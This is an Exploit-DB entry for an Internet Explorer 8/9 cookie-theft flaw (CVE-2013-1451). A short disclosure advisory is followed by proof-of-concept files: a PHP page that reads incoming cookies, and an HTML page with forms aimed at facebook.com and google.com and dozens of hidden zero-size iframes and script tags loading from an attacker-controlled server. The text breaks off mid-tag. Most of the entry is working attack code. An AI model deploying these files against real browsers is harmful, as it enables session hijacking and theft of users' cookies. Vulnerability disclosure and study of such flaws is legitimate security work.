Exploit-DB #24432
Description: Microsoft Internet Explorer 8/9 - Steal Any Cookie
Type: webapps
Platform: windows
Date: 2013-01-28
Author: Christian Haider

Exploit:
# Exploit Title: Internet Explorer 8 & Internet Explorer 9 steal any Cookie
# Date: 27.01.2013
# Exploit Author: Christian Haider; Email: christian.haider.poc @ gmail
*dot* com; linkedin: http://www.linkedin.com/in/chrishaider
# Category: remote
# Vendor Homepage: http://www.microsoft.com
# Version: IE 8, IE 9
# Tested on: Windows 7, Windows XP
# CVE : CVE-2013-1451
Disclaimer
----------
The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind. I am not liable for any direct or
indirect damages caused as a result of using the information or
demonstrations provided in any part of this advisory. Educational use
only..!!
----------

This vulnerability regarding Internet Explorer 8 & 9 was reported to
Microsoft in December 2011 (ID is [12096gd]). Although the vulnerability
can be used to steal cookies it has not been rated as a high risk
vulnerability. As a consequence of that we will never see an update for IE
8 & IE 9 and rather have to wait for a fix in IE 10. Only requirement for a
successful exploit is that IE uses the same proxy for HTTP and HTTPS.
I consider this a high risk vulnerability and a simple configuration change
could mitigate the risk. To make the public aware of this threat I made
this vulnerability public.
CVE-ID has not been issued yet.
Vulnerability discovered by: Christian Haider; Email: christian.haider.poc
@ gmail *dot* com
Linkedin: http://www.linkedin.com/in/chrishaider

PoC Video on Youtube = http://www.youtube.com/watch?v=TPqagWAvo8U
PoC Files:
- info.php = http://pastebin.com/download.php?i=bPDDwJY4

<?php
print_r($_SERVER['HTTP_HOST']);
echo '<br/>';
// A way to view all cookies
//print_r($_COOKIE);
$cookie=$_COOKIE;
 
foreach ($cookie as $key=>$val)
 echo "$key--> HIDDEN;	";
 ?>

 ?> 

- video.html = http://pastebin.com/download.php?i=KXYX3pv1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Vul Test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

	<body>
<form name="input" action="http://www.facebook.com/info.php" method="post">
        Facebook.com
        <input type="submit" value="Submit">
</form>
<form name="input" action="http://www.google.com/info.php" method="post">
        Google.com
        <input type="submit" value="Submit">
</form>
<form name="input" action="https://www.google.com" method="get">
        https://www.google.com
        <input type="submit" value="Submit">
</form>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>
<script type="text/javascript" src="https://web02.local.home:8080/script.js"></script>


<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> 
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe>
<iframe src="https://web02.local.home:8080/info.p